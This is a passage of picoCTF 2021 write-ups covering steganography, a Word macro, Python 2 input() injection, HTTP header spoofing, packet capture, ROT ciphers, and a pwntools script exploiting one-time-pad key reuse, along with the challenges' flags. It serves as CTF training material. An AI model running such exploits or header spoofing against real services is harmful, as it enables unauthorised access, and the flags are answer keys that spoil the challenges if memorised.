87 | 14459717 0xDCA345 StuffIt Deluxe Segment (data): fV`aQYZJTUEWXHYZJUUESSCWWGYWHZWH\YJa^OeaRa\MUO@[TE]TF[RDXOAaXJ[RDRI;SJ
UL>UL>VM?XOAXOAWN@TK>SJ=UL?WNAUL?RIVM@WNATK>RI<
88 | 14532293 0xDDBEC5 StuffIt Deluxe Segment (data): fV_`PhiYacS[^NUYIW]Lem\[eTckZw}lyzjjgXRM>LE6NE7UL>UL>VM?YPBWN@VM?VM?WN@WN@VM?RI;PG9QH:SJWN@UL>TK=UL>VM?VM?UL>TK=SJDEC@A?BCADECCDB:;9897BCACDBEFDFGE675'(&./-<=;;:9;98<:9A?>B@?
93 |
94 |
95 | Scan Time: 2021-03-30 13:24:58
96 | Target File: /root/CTFs/Picoctf-2021/tftp/picture3.bmp
97 | MD5 Checksum: a238337719e294911ad8213e834dc548
98 | Signatures: 391
99 |
100 | DECIMAL HEXADECIMAL DESCRIPTION
101 | --------------------------------------------------------------------------------
102 | 0 0x0 PC bitmap, Windows 3.x format,, 807 x 605 x 24
103 |
104 | ```
105 | Aaalright, now keep in mind that binwalk can get things wrong. One thing that is important to us is the `rzip compressed data`. What is the `program.deb` anyway?
106 | ```
107 | file program.deb
108 | program.deb: Debian binary package (format 2.0), with control.tar.gz, data compression xz
109 |
110 | 7z x program.deb
111 |
112 | 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
113 | p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,3 CPUs Intel(R) Core(TM) i7-8550U CPU @ 1.80GHz (806EA),ASM,AES-NI)
114 |
115 | Scanning the drive for archives:
116 | 1 file, 138310 bytes (136 KiB)
117 |
118 | Extracting archive: program.deb
119 | --
120 | Path = program.deb
121 | Type = Ar
122 | Physical Size = 138310
123 | SubType = deb
124 | ----
125 | Path = data.tar.xz
126 | Size = 136868
127 | Modified = 2014-10-14 20:02:56
128 | Mode = -rw-r--r--
129 | --
130 | Path = data.tar.xz
131 | Type = xz
132 | Physical Size = 136868
133 | Method = LZMA2:23 CRC32
134 | Streams = 1
135 | Blocks = 1
136 |
137 | Everything is Ok
138 |
139 | Size: 460800
140 | Compressed: 138310
141 | ```
142 | Lovely! And what is inside `data.tar`?
143 | ```
144 | tar xvf data.tar
145 | ./
146 | ./usr/
147 | ./usr/share/
148 | ./usr/share/doc/
149 | ./usr/share/doc/steghide/
150 | ./usr/share/doc/steghide/ABOUT-NLS.gz
151 | ./usr/share/doc/steghide/LEAME.gz
152 | ./usr/share/doc/steghide/README.gz
153 | ./usr/share/doc/steghide/changelog.Debian.gz
154 | ./usr/share/doc/steghide/changelog.Debian.amd64.gz
155 | ./usr/share/doc/steghide/changelog.gz
156 | ./usr/share/doc/steghide/copyright
157 | ./usr/share/doc/steghide/TODO
158 | ./usr/share/doc/steghide/HISTORY
159 | ./usr/share/doc/steghide/CREDITS
160 | ./usr/share/doc/steghide/BUGS
161 | ./usr/share/man/
162 | ./usr/share/man/man1/
163 | ./usr/share/man/man1/steghide.1.gz
164 | ./usr/share/locale/
165 | ./usr/share/locale/ro/
166 | ./usr/share/locale/ro/LC_MESSAGES/
167 | ./usr/share/locale/ro/LC_MESSAGES/steghide.mo
168 | ./usr/share/locale/fr/
169 | ./usr/share/locale/fr/LC_MESSAGES/
170 | ./usr/share/locale/fr/LC_MESSAGES/steghide.mo
171 | ./usr/share/locale/de/
172 | ./usr/share/locale/de/LC_MESSAGES/
173 | ./usr/share/locale/de/LC_MESSAGES/steghide.mo
174 | ./usr/share/locale/es/
175 | ./usr/share/locale/es/LC_MESSAGES/
176 | ./usr/share/locale/es/LC_MESSAGES/steghide.mo
177 | ./usr/bin/
178 | ./usr/bin/steghide
179 | ```
180 | Steghide! Now we know what to use on the `.bmp` file!
181 |
182 | ## Steghide
183 |
184 | Time to get the flag:
185 | ```
186 | steghide extract -sf picture2.bmp
187 | Enter passphrase:
188 | steghide: could not extract any data with that passphrase!
189 | ```
190 | Damn... I tried with no password, but no luck. Maybe some of the previous files could help?
191 | ```
192 | VHFRQGURCEBTENZNAQUVQVGJVGU-QHRQVYVTRAPR.PURPXBHGGURCUBGBF
193 |
194 | I USED THE PROGRAM AND HID IT WITH - DUEDILIGENCE. CHECK OUT THE PHOTOS
195 | ```
196 | Remember this? `DUEDILIGENCE` looks a bit out of place doesn't it? Also `HID IT WITH`, could this be the password? Also no luck... wait, is this the right file?
197 | ```
198 | steghide extract -sf picture3.bmp
199 | Enter passphrase: DUEDILIGENCE
200 | wrote extracted data to "flag.txt".
201 | ```
202 | Wohoo!
203 | ```
204 | picoCTF{h1dd3n_1n_pLa1n_51GHT_18375919}
205 | ```
--------------------------------------------------------------------------------
/Trivial_Flag_Transfer_Protocol/extract.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xnomas/PicoCTF-2021-Writeups/efe24043674b05bc524142d193a3d70ab2c4f148/Trivial_Flag_Transfer_Protocol/extract.png
--------------------------------------------------------------------------------
/Trivial_Flag_Transfer_Protocol/files.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xnomas/PicoCTF-2021-Writeups/efe24043674b05bc524142d193a3d70ab2c4f148/Trivial_Flag_Transfer_Protocol/files.png
--------------------------------------------------------------------------------
/Trivial_Flag_Transfer_Protocol/tftp.pcapng:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xnomas/PicoCTF-2021-Writeups/efe24043674b05bc524142d193a3d70ab2c4f148/Trivial_Flag_Transfer_Protocol/tftp.pcapng
--------------------------------------------------------------------------------
/Weird_File/README.md:
--------------------------------------------------------------------------------
1 | # Weird File
2 |
3 | Category: Forensics
4 | AUTHOR: THELSHELL
5 |
6 | **Disclaimer! I do not own the challenge files!**
7 |
8 | ## Description
9 | ```
10 | What could go wrong if we let Word documents run programs? (aka "in-the-clear").
11 | ```
12 |
13 | ## Word document
14 |
15 | After clicking the link a Word document `weird.docm` is downloaded. Now a little known fact (for some), almost everything that is MS proprietary is just XML and zip (some of you might be pulling your hair, but hey... I think the description works). So what could we do with this? Sure, you could just run `file`, `binwalk` and `strings`. Or! Just use 7z (you can even download it for WIndows).
16 |
17 | ```
18 | $ 7z x weird.docm
19 | ```
20 | *On windows just right-click, navigate to 7z and extract*
21 |
22 |
23 | So what did we extract?
24 | ```
25 | $ ls
26 | '[Content_Types].xml' customXml docProps _rels weird.docm word
27 | ```
28 | Great!
29 |
30 | ## Finding the weird stuff
31 |
32 | In word, powerpoint and other documents you can use macros. This allows evil leet h4x0rs to embed code in your word document that will execute (unless you have macros switched off, which you should!). Maybe this is the case here as well?
33 | ```
34 | $ ls *
35 | '[Content_Types].xml' weird.docm
36 |
37 | customXml:
38 | item1.xml itemProps1.xml _rels
39 |
40 | docProps:
41 | app.xml core.xml
42 |
43 | _rels:
44 |
45 | word:
46 | document.xml fontTable.xml _rels settings.xml styles.xml theme vbaData.xml vbaProject.bin webSettings.xml
47 | ```
48 | `vbaProject.bin` and `vbaData.xml`? That shouldn't be there, I don't think. Maybe there is something in there?
49 | ```
50 | $ strings vbaProject.bin
51 | %RL9
52 | Macros can run any program
53 | Title
54 | world!
55 | some text
56 | llow
57 | Couldn't run python script!
58 | Ret_Val = Shell("python -c 'print(\"cGljb0NURnttNGNyMHNfcl9kNG5nM3IwdXN9\")'" & " " & Args, vbNormalFocus)
59 | Attribut
60 | e VB_Nam
61 | e = "Thi
62 | sDocumen
63 | 1Normal.
64 | ...
65 | ...
66 | ...
67 | ```
68 | Oh, great. I don't think Word ships with this. But that string is definitely `base64`:
69 |
70 | ### Flag on linux
71 | ```bash
72 | echo cGljb0NURnttNGNyMHNfcl9kNG5nM3IwdXN9 | base64 -d
73 | picoCTF{m4cr0s_r_d4ng3r0us}
74 | ```
75 | Indeed they are Pico.
76 |
77 | ### Flag on Windows (powershell)
78 | ```powershell
79 | [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('cGljb0NURnttNGNyMHNfcl9kNG5nM3IwdXN9'))
80 | picoCTF{m4cr0s_r_d4ng3r0us}
81 | ```
--------------------------------------------------------------------------------
/Weird_File/solve.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | check_dir(){
4 | if [ -d "base_images" ]; then
5 | cd "base_images"
6 | return 0
7 | else
8 | return 1
9 | fi
10 | }
11 |
12 | check_for_zip() {
13 | if binwalk "$1" | grep "Zip" > /dev/null ; then
14 | 7z x "$1"
15 | return 0
16 | fi
17 | return 1
18 | }
19 |
20 | check_for_zip "$1"
21 |
22 | check_dir
23 |
24 | for i in {2..20}
25 | do
26 | if check_for_zip $i"_c.jpg"; then
27 | if check_dir; then
28 | echo "in" $i"_c.jpg"
29 | else
30 | echo "done"
31 | cat flag.txt
32 | break
33 | fi
34 | fi
35 | done
--------------------------------------------------------------------------------
/Weird_File/weird.docm:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xnomas/PicoCTF-2021-Writeups/efe24043674b05bc524142d193a3d70ab2c4f148/Weird_File/weird.docm
--------------------------------------------------------------------------------
/What's_your_input/README.md:
--------------------------------------------------------------------------------
1 | # What's your input
2 |
3 | **Disclaimer! I do not own any of the challenge files!**
4 |
5 | ```
6 | nc mercury.picoctf.net 39137 in.py
7 | ```
8 |
9 | ## in.py
10 |
11 | Looking at the `in.py` file that was provided we see this:
12 | ```py
13 | #!/usr/bin/python2 -u
14 | import random
15 |
16 | cities = open("./city_names.txt").readlines()
17 | city = random.choice(cities).rstrip()
18 | year = 2018
19 |
20 | print("What's your favorite number?")
21 | res = None
22 | while not res:
23 | try:
24 | res = input("Number? ")
25 | print("You said: {}".format(res))
26 | except:
27 | res = None
28 |
29 | if res != year:
30 | print("Okay...")
31 | else:
32 | print("I agree!")
33 |
34 | print("What's the best city to visit?")
35 | res = None
36 | while not res:
37 | try:
38 | res = input("City? ")
39 | print("You said: {}".format(res))
40 | except:
41 | res = None
42 |
43 | if res == city:
44 | print("I agree!")
45 | flag = open("./flag").read()
46 | print(flag)
47 | else:
48 | print("Thanks for your input!")
49 | ```
50 | What happens is, that we have to enter `2018` as our first input to pass the check, and then a random city is picked... which we somehow have to guess. Hmmm. But that shouldn't be possible right? Well check out this part `print("You said: {}".format(res))`.
51 |
52 | ## Testing
53 |
54 | I alawys open a python terminal to test my theory, so here it goes:
55 | ```py
56 | city = 'London'
57 | res = input('City? ')
58 | print("You said: {}".format(res))
59 | ```
60 |
61 | Running this piece of code in a python 2.7 interpreter (online [here](https://replit.com/languages/python) ). I run it and enter the following:
62 | ```
63 | City? city
64 | You said: London
65 | ```
66 | Great! This confirms my suspicion. In python 2 we can just input the name of a variable, and it will be interpreted as the variable!
67 |
68 | ## The solution
69 |
70 | This is how my connection went:
71 | ```
72 | nc mercury.picoctf.net 32114
73 | What's your favorite number?
74 | Number? 2018
75 | You said: 2018
76 | I agree!
77 | What's the best city to visit?
78 | City? city
79 | You said: Burlington
80 | I agree!
81 | picoCTF{v4lua4bl3_1npu7_6269606}
82 | ```
83 | Great!
--------------------------------------------------------------------------------
/What's_your_input/in.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python2 -u
2 | import random
3 |
4 | cities = open("./city_names.txt").readlines()
5 | city = random.choice(cities).rstrip()
6 | year = 2018
7 |
8 | print("What's your favorite number?")
9 | res = None
10 | while not res:
11 | try:
12 | res = input("Number? ")
13 | print("You said: {}".format(res))
14 | except:
15 | res = None
16 |
17 | if res != year:
18 | print("Okay...")
19 | else:
20 | print("I agree!")
21 |
22 | print("What's the best city to visit?")
23 | res = None
24 | while not res:
25 | try:
26 | res = input("City? ")
27 | print("You said: {}".format(res))
28 | except:
29 | res = None
30 |
31 | if res == city:
32 | print("I agree!")
33 | flag = open("./flag").read()
34 | print(flag)
35 | else:
36 | print("Thanks for your input!")
37 |
38 | """
39 | nc mercury.picoctf.net 32114
40 | What's your favorite number?
41 | Number? 2018
42 | You said: 2018
43 | I agree!
44 | What's the best city to visit?
45 | City? city
46 | You said: Burlington
47 | I agree!
48 | picoCTF{v4lua4bl3_1npu7_6269606}
49 | """
--------------------------------------------------------------------------------
/Who_are_you/README.md:
--------------------------------------------------------------------------------
1 | # Who are you?
2 |
3 | AUTHOR: MADSTACKS
4 |
5 | ## Description
6 | ```
7 | Let me in. Let me iiiiiiinnnnnnnnnnnnnnnnnnnn
8 | ```
9 |
10 | ## Solving the challenge
11 | Obligatory meme:
12 |
13 |
14 | 
15 |
16 |
17 |
18 | Now when I opened the link I saw the following:
19 |
20 |
21 | 
22 |
23 |
24 |
25 | Oh? Any idea how we could specify what browser we are using? Try pressing `Ctrl+Shift+I` and navigating to the `Network` tab, hit reload and look at the `Request Headers` field after clicking on `mercury.picoctf.net` on the left:
26 | ```
27 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
28 | Accept-Encoding: gzip, deflate
29 | Accept-Language: en-US,en;q=0.9,cs;q=0.8
30 | Cache-Control: max-age=0
31 | Connection: keep-alive
32 | Cookie: name=18
33 | Host: mercury.picoctf.net:52362
34 | sec-gpc: 1
35 | Upgrade-Insecure-Requests: 1
36 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
37 | ```
38 | The User-Agent specifies our browser! We can either change this with burp, or you could send a request through `python requests`:
39 | ```py
40 | import requests
41 |
42 | url = 'http://mercury.picoctf.net:52362'
43 |
44 | params = { 'User-Agent' : 'PicoBrowser' }
45 |
46 | r = requests.get(url, params=params)
47 |
48 | print(r.text)
49 | ```
50 | But I went the burp route.
51 |
52 | ## The steps...
53 |
54 | After forwarding the request with `User-Agent: PicoBrowser` a new response! (in text from now on)
55 | ```
56 | I don't trust users visiting from another site
57 | ```
58 | Alright? Paranoid much. Thankfully we can set this with another header! Time to check out the [Mozilla Developer docs](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referer). In short this allows us the web server to identify where a user is coming from, ie. what website refered us? So our (only modified) headers look like this now:
59 | ```
60 | User-Agent: PicoBrowser
61 | Referer: mercury.picoctf.net:52362
62 | ```
63 | And another response:
64 | ```
65 | Sorry, this site only worked in 2018.
66 | ```
67 | Oh! Back to Mozilla! [Here](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Date) are the specifications of the `Date` header, which allows us to set exactly that! Now we send these headers (along with the default headers):
68 | ```
69 | User-Agent: PicoBrowser
70 | Referer: mercury.picoctf.net:52362
71 | Date: 2018
72 | ```
73 | Response:
74 | ```
75 | I don't trust users who can be tracked.
76 | ```
77 | Someone really is paranoid. Thankfully we can also set this using a special header. [DNT](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/DNT) which stands for Do Not Track indicates if we want to be tracked (*the NSA liked your post*). We do this by setting a numerical value `DNT: 1`. So we send the following:
78 | ```
79 | User-Agent: PicoBrowser
80 | DNT: 1
81 | Referer: mercury.picoctf.net:52362
82 | Date: 2018
83 | ```
84 | Response:
85 | ```
86 | This website is only for people from Sweden.
87 | ```
88 | Lovely. How could we go about setting this? Well there is more than one way of finding someone's location on the internet. Maybe through a language preference? Or! Through your IP address. We could just find a public IP address from Sweden! Like this one: 92.34.186.83; which I found [here](https://tools.tracemyip.org/search--country/sweden). We can specify our IP address using the `X-Forwarded-For` header:
89 | ```
90 | Host: mercury.picoctf.net:52362
91 | User-Agent: PicoBrowser
92 | DNT: 1
93 | Referer: mercury.picoctf.net:52362
94 | Date: 2018
95 | X-Forwarded-For: 92.34.186.83
96 | ```
97 | Response:
98 | ```
99 | You're in Sweden but you don't speak Swedish?
100 | ```
101 | Now we finally use the language header. Using `Accept-Language` we can specify what we language we would like our webpage to be in. We can even specify the order of importance of these languages! But hey, we want Swedish (skol, am I right?). So how about `Accept-Language: sv-SWE`. Here is the whole request:
102 | ```
103 | GET / HTTP/1.1
104 | Host: mercury.picoctf.net:52362
105 | Host: mercury.picoctf.net:52362
106 | User-Agent: PicoBrowser
107 | DNT: 1
108 | Referer: mercury.picoctf.net:52362
109 | Date: 2018
110 | X-Forwarded-For: 92.34.186.83
111 | Accept-Language: sv-SWE
112 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
113 | Accept-Language: en-US,en;q=0.5
114 | Accept-Encoding: gzip, deflate
115 | Connection: close
116 | Upgrade-Insecure-Requests: 1
117 | Cache-Control: max-age=0
118 | ```
119 | And finally the response:
120 |
121 |
122 | 
123 |
124 |
125 |
126 | ```
127 | picoCTF{http_h34d3rs_v3ry_c0Ol_much_w0w_0c0db339}
128 | ```
--------------------------------------------------------------------------------
/Who_are_you/flag.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xnomas/PicoCTF-2021-Writeups/efe24043674b05bc524142d193a3d70ab2c4f148/Who_are_you/flag.png
--------------------------------------------------------------------------------
/Who_are_you/letmeingif.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xnomas/PicoCTF-2021-Writeups/efe24043674b05bc524142d193a3d70ab2c4f148/Who_are_you/letmeingif.gif
--------------------------------------------------------------------------------
/Who_are_you/website.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xnomas/PicoCTF-2021-Writeups/efe24043674b05bc524142d193a3d70ab2c4f148/Who_are_you/website.png
--------------------------------------------------------------------------------
/Wireshark_doo_dooo_do_doo/README.md:
--------------------------------------------------------------------------------
1 | # Wireshark doo dooo do doo...
2 |
3 | Category: Forensics
4 | AUTHOR: DYLAN
5 |
6 | **Disclaimer! I do not own the challenge files!**
7 |
8 | ## Description
9 | ```
10 | Can you find the flag? shark1.pcapng.
11 | ```
12 |
13 | ## Wireshark
14 |
15 | Since we received a `.pcap` file, I opened it up in wireshark. Lets have a look:
16 |
17 |
18 | 
19 |
20 |
21 |
22 | I can see some `http` traffic. And since my tactic for wireshark in CTFs is to start with this filter:
23 |
24 |
25 | 
26 |
27 |
28 |
29 | Or even better, with this filer:
30 |
31 |
32 |
33 | 
34 |
35 |
36 |
37 | ```
38 | http.response.code == 200
39 | ```
40 | This plays perfectly in my hands. Now just to find a good packet stream.
41 |
42 |
43 | 
44 |
45 |
46 |
47 | Damn! It's all kerberos encrypted traffic.. or is it? Scroll all the way down (with the `200 OK` filter on):
48 |
49 |
50 | 
51 |
52 |
53 |
54 | Great! Finally something normal! Now just do the following:
55 |
56 |
57 | 
58 |
59 |
60 |
61 | And this pops out:
62 | ```
63 | GET / HTTP/1.1
64 | Host: 18.222.37.134
65 | Connection: keep-alive
66 | Cache-Control: max-age=0
67 | Upgrade-Insecure-Requests: 1
68 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
69 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
70 | Accept-Encoding: gzip, deflate
71 | Accept-Language: en-US,en;q=0.9
72 |
73 | HTTP/1.1 200 OK
74 | Date: Mon, 10 Aug 2020 01:51:45 GMT
75 | Server: Apache/2.4.29 (Ubuntu)
76 | Last-Modified: Fri, 07 Aug 2020 00:45:02 GMT
77 | ETag: "2f-5ac3eea4fcf01"
78 | Accept-Ranges: bytes
79 | Content-Length: 47
80 | Keep-Alive: timeout=5, max=100
81 | Connection: Keep-Alive
82 | Content-Type: text/html
83 |
84 | Gur synt vf cvpbPGS{c33xno00_1_f33_h_qrnqorrs}
85 | ```
86 | And since this is a CTF, how about we just assume this to be ROT13 encoded? An online decoder is enough, like [this one](https://www.boxentriq.com/code-breaking/rot13):
87 |
88 |
89 | 
90 |
91 |
92 | Huzzah!
--------------------------------------------------------------------------------
/Wireshark_doo_dooo_do_doo/encrypted.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xnomas/PicoCTF-2021-Writeups/efe24043674b05bc524142d193a3d70ab2c4f148/Wireshark_doo_dooo_do_doo/encrypted.png
--------------------------------------------------------------------------------
/Wireshark_doo_dooo_do_doo/flag.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xnomas/PicoCTF-2021-Writeups/efe24043674b05bc524142d193a3d70ab2c4f148/Wireshark_doo_dooo_do_doo/flag.png
--------------------------------------------------------------------------------
/Wireshark_doo_dooo_do_doo/follow.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xnomas/PicoCTF-2021-Writeups/efe24043674b05bc524142d193a3d70ab2c4f148/Wireshark_doo_dooo_do_doo/follow.png
--------------------------------------------------------------------------------
/Wireshark_doo_dooo_do_doo/http.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xnomas/PicoCTF-2021-Writeups/efe24043674b05bc524142d193a3d70ab2c4f148/Wireshark_doo_dooo_do_doo/http.png
--------------------------------------------------------------------------------
/Wireshark_doo_dooo_do_doo/http_200.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xnomas/PicoCTF-2021-Writeups/efe24043674b05bc524142d193a3d70ab2c4f148/Wireshark_doo_dooo_do_doo/http_200.png
--------------------------------------------------------------------------------
/Wireshark_doo_dooo_do_doo/sample.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xnomas/PicoCTF-2021-Writeups/efe24043674b05bc524142d193a3d70ab2c4f148/Wireshark_doo_dooo_do_doo/sample.png
--------------------------------------------------------------------------------
/Wireshark_doo_dooo_do_doo/shark1.pcapng:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xnomas/PicoCTF-2021-Writeups/efe24043674b05bc524142d193a3d70ab2c4f148/Wireshark_doo_dooo_do_doo/shark1.pcapng
--------------------------------------------------------------------------------
/Wireshark_doo_dooo_do_doo/text.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xnomas/PicoCTF-2021-Writeups/efe24043674b05bc524142d193a3d70ab2c4f148/Wireshark_doo_dooo_do_doo/text.png
--------------------------------------------------------------------------------
/crackme_py/README.md:
--------------------------------------------------------------------------------
1 | # crackme-py
2 |
3 | Category: Reverse Engineering
4 | AUTHOR: SYREAL
5 |
6 | ## Solving
7 |
8 | Open up the source code:
9 | ```py
10 | # Hiding this really important number in an obscure piece of code is brilliant!
11 | # AND it's encrypted!
12 | # We want our biggest client to know his information is safe with us.
13 | bezos_cc_secret = "A:4@r%uL`M-^M0c0AbcM-MFE067d3eh2bN"
14 |
15 | # Reference alphabet
16 | alphabet = "!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ"+ \
17 | "[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~"
18 | ```
19 | Wow, okay. Jess Bezos! Now look a little lower:
20 | ```py
21 | def decode_secret(secret):
22 | """ROT47 decode
23 |
24 | NOTE: encode and decode are the same operation in the ROT cipher family.
25 | """
26 | ```
27 | So a ROT47, we can just use [cyberchef](https://gchq.github.io/CyberChef/) and decode the secret:
28 | ```
29 | picoCTF{1|\/|_4_p34|\|ut_ef5b69a3}
30 | ```
31 | Here we go.
--------------------------------------------------------------------------------
/easy_peasy/README.md:
--------------------------------------------------------------------------------
1 | # Easy Peasy
2 |
3 | Category: Cryptography
4 | AUTHOR: MADSTACKS
5 |
6 |
7 | **DISCLAIMER! I do not own any of the challenge files!**
8 |
9 |
10 | ## Description
11 | ```
12 | A one-time pad is unbreakable, but can you manage to recover the flag? (Wrap with picoCTF{})
13 | ```
14 |
15 | ## Connecting
16 |
17 | We were given an `nc` command to run (as well as the source code, more on that later).
18 | ```
19 | nc mercury.picoctf.net 58913
20 | ******************Welcome to our OTP implementation!******************
21 | This is the encrypted flag!
22 | 51124f4d194969633e4b52026f4c07513a6f4d05516e1e50536c4954066a1c57
23 |
24 | What data would you like to encrypt?
25 | ```
26 | Alright... so what exactly is a one-time pad? The gimmick of it is, that we have a random string (that is our key) that is at least as long as the message (in our case it's longer). But what is the most important part? This surely can't be secure! Well it is, only if the key is never reused. Hell, even the NSA used a one-time pad! On paper! (listen about that [here](https://darknetdiaries.com/episode/83/)). Now that we know this, time to look at the source code.
27 |
28 | ## Studying otp.py
29 |
30 | At the start we have some important variables:
31 | ```py
32 | KEY_FILE = "key"
33 | KEY_LEN = 50000
34 | FLAG_FILE = "flag"
35 | ```
36 | Next we have two functions `encrypt` and `startup`. `startup` is called first, it reads from the `FLAG_FILE`, sets a starting and end point and then encrypts the flag using the key from `KEY_FILE`:
37 | ```py
38 | def startup(key_location):
39 | flag = open(FLAG_FILE).read()
40 | kf = open(KEY_FILE, "rb").read()
41 |
42 | start = key_location
43 | stop = key_location + len(flag)
44 |
45 | key = kf[start:stop]
46 | key_location = stop
47 |
48 | result = list(map(lambda p, k: "{:02x}".format(ord(p) ^ k), flag, key))
49 | print("This is the encrypted flag!\n{}\n".format("".join(result)))
50 |
51 | return key_location
52 | ```
53 | So what are the `start` and `stop` variables for? These are file offsets, so the key will always be as long as the message. Now the `encrypt` function:
54 | ```py
55 | def encrypt(key_location):
56 | ui = input("What data would you like to encrypt? ").rstrip()
57 | if len(ui) == 0 or len(ui) > KEY_LEN:
58 | return -1
59 |
60 | start = key_location # starts at 32
61 | stop = key_location + len(ui) # 32 + len(input)
62 |
63 | kf = open(KEY_FILE, "rb").read()
64 |
65 | if stop >= KEY_LEN:
66 | stop = stop % KEY_LEN # if stop == KEY_LEN then stop = 0
67 | key = kf[start:] + kf[:stop] # key = [start, 0]
68 | else:
69 | key = kf[start:stop]
70 | key_location = stop # we want this to be 0
71 |
72 | result = list(map(lambda p, k: "{:02x}".format(ord(p) ^ k), ui, key))
73 |
74 | print("Here ya go!\n{}\n".format("".join(result)))
75 |
76 | return key_location
77 | ```
78 | This is the really important function for us. I added some comments for myself as I was solving the challenge. So what is going on here? The function reads our input (if none is provided or its bigger than 50000 return -1), gets a starting file offset and calculates the ending offset. The start is where the end was previously, so when we give our first input it is the length of the flag ( `len(flag)/2` actually. As each letter is a hex number of atleast two letters/digits).
79 |
80 | So this gives us an offset of `32`. What next? Look here:
81 | ```py
82 | if stop >= KEY_LEN:
83 | stop = stop % KEY_LEN # if stop == KEY_LEN then stop = 0
84 | key = kf[start:] + kf[:stop] # key = [start, 0]
85 | else:
86 | key = kf[start:stop]
87 | key_location = stop # we want this to be 0
88 | ```
89 | Interesting huh? If the `stop` offset is equal or larger then the `KEY_LEN` variable we set stop to `stop % KEY_LEN`. What does that mean for us? Well, if we get the stop to be exactly `KEY_LEN` then `KEY_LEN % KEY_LEN == 0` and bam! We have one-time pad reuse!! If this is not obvious to you, try playing around with it in the console.
90 |
91 | Lastly, since the "encryption" is just a xor, we can easily get the result by xoring with the key again.
92 |
93 | ## Getting padding reuse
94 |
95 | Now we just need to construct our payload and run our script. Once we loop the pad back to zero, we need an input of length `32`. Because we know the plaintext and the ciphertext, we can xor them and get the key! Then just xor with the encrypted flag and whabbam.
96 | ```py
97 | from pwn import *
98 |
99 | import binascii
100 |
101 | offset = 50000 - 32
102 |
103 | p = remote('mercury.picoctf.net', 58913)
104 |
105 | print(p.recvline())
106 | print(p.recvline())
107 | encrypted_flag = p.recvline().strip()
108 |
109 | print(encrypted_flag)
110 |
111 | p.recvuntil('?')
112 | p.sendline('A'*offset)
113 |
114 | p.recvuntil('?')
115 |
116 | p.sendline('A'*32)
117 |
118 | p.recvline()
119 | ```
120 | I used `pwntools` because it allowed me to easily interact with the remote service. Like this I receive lines, send a bunch of A's (to get back to offset 0) and send exactly 32 A's.
121 | ```py
122 | encoded = p.recvline().strip()
123 |
124 | print(f'encoded input: {encoded}')
125 |
126 | encoded = binascii.unhexlify(encoded)
127 |
128 | print(f'unhexed input: {encoded}')
129 | ```
130 | Then unhexlify the input so we can decode it!
131 | ```py
132 | message = 'A'*32
133 |
134 | key = []
135 |
136 | for e in range(len(encoded)):
137 | key.append( ord(message[e])^encoded[e] )
138 |
139 | print(f'[+] Found key: {key}')
140 | ```
141 | Then just xor the unhexlified encrypted message with our plaintext and we have the key!
142 | ```py
143 | decoded_flag = []
144 |
145 | encrypted_flag = binascii.unhexlify(encrypted_flag)
146 |
147 | for i in range(32):
148 | decoded_flag.append( chr(key[i]^encrypted_flag[i]) )
149 |
150 | flag = ''.join(decoded_flag)
151 |
152 | print(f'flag: {flag}')
153 | ```
154 | And finally the flag is decrypted. This is all put together in [solve.py](https://github.com/xnomas/PicoCTF-2021-Writeups/easy_peasy/solve.py). Then when we run it:
155 | ```py
156 | python3 solve.py
157 | [+] Opening connection to mercury.picoctf.net on port 58913: Done
158 | b'******************Welcome to our OTP implementation!******************\n'
159 | b'This is the encrypted flag!\n'
160 | b'51124f4d194969633e4b52026f4c07513a6f4d05516e1e50536c4954066a1c57'
161 | encoded input: b'23666b6f3a3c1a111d3971771d397122181d3927731d3925231d3924241d3924'
162 | unhexed input: b'#fko:<\x1a\x11\x1d9qw\x1d9q"\x18\x1d9\'s\x1d9%#\x1d9$$\x1d9$'
163 | --------------------------------------------------
164 | Working on the decode
165 | --------------------------------------------------
166 | [+] Found key: [98, 39, 42, 46, 123, 125, 91, 80, 92, 120, 48, 54, 92, 120, 48, 99, 89, 92, 120, 102, 50, 92, 120, 100, 98, 92, 120, 101, 101, 92, 120, 101]
167 | flag: 35ecb423b3b43472c35cc2f41011c6d2
168 | ```
169 | Now just wrap the output in `picoCTF{35ecb423b3b43472c35cc2f41011c6d2}`.
--------------------------------------------------------------------------------
/easy_peasy/solve.py:
--------------------------------------------------------------------------------
1 | from pwn import *
2 |
3 | import binascii
4 |
5 | offset = 50000 - 32
6 |
7 | p = remote('mercury.picoctf.net', 58913)
8 |
9 | print(p.recvline())
10 | print(p.recvline())
11 | encrypted_flag = p.recvline().strip()
